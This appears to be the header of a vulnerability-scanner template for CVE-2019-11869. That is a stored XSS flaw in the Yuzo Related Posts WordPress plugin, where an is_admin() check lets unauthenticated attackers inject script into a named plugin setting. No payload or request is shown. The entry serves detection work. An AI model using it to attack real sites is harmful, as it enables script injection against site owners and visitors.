id: CVE-2019-11869 info: name: Yuzo Related Posts plugin XSS author: ganofins severity: medium description: | The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS because it mistakenly expects that is_admin() verifies that the request comes from an admin user (it actually only verifies that the request is for an admin page). An unauthenticated attacker can inject a payload into the plugin settings, such as the yuzo_related_post_css_and_style setting.
